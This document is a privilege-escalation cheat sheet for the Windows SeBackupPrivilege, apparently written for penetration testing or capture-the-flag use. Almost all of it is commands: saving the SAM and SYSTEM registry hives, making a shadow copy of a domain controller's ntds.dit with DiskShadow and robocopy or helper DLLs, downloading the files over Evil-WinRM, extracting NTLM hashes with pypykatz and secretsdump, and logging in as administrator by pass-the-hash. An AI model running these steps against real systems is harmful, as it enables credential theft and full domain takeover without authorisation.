SeBackupPrivilege

Overview

• Allows full read access to file system (bypasses ACLs)

• Can read SAM, SYSTEM, and ntds.dit files

• Common on Backup Operators group members

Check for Privilege

whoami /priv

Look for SeBackupPrivilege in the output.

---

Windows 10 / Standalone Machine

1. Extract SAM and SYSTEM

cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

2. Download Files (Evil-WinRM)

cd Temp
download sam
download system

3. Extract Hashes

pypykatz registry --sam sam system

4. Pass-the-Hash

evil-winrm -i <IP> -u administrator -H <NTLM_HASH>

---

Domain Controller

Method 1: Using DiskShadow + RoboCopy

1. Create DSH File (Kali)

nano backup.dsh

set context persistent nowriters
add volume c: alias backup
create
expose %backup% z:

unix2dos backup.dsh

2. Execute Backup (Target)

cd C:\Temp
upload backup.dsh
diskshadow /s backup.dsh
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\system c:\Temp\system

3. Download Files

download ntds.dit
download system

4. Extract Hashes

impacket-secretsdump -ntds ntds.dit -system system local

5. Pass-the-Hash

evil-winrm -i <DC_IP> -u administrator -H <NTLM_HASH>

---

Method 2: Using DLL Files

1. Get DLL Files

Download from: https://github.com/giuliano108/SeBackupPrivilege

• SeBackupPrivilegeUtils.dll

• SeBackupPrivilegeCmdLets.dll

2. Upload Files

cd C:\Temp
upload backup.dsh
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll

3. Import DLLs and Execute

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
diskshadow /s backup.dsh
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
reg save hklm\system c:\Temp\system

4. Extract & Pass-the-Hash

Same as Method 1 (steps 3-5)

---

Quick Reference

Target	Key Files	Tool
Standalone	SAM + SYSTEM	pypykatz
Domain Controller	ntds.dit + SYSTEM	secretsdump

Connection Tool: Evil-WinRM Hash Type: NTLM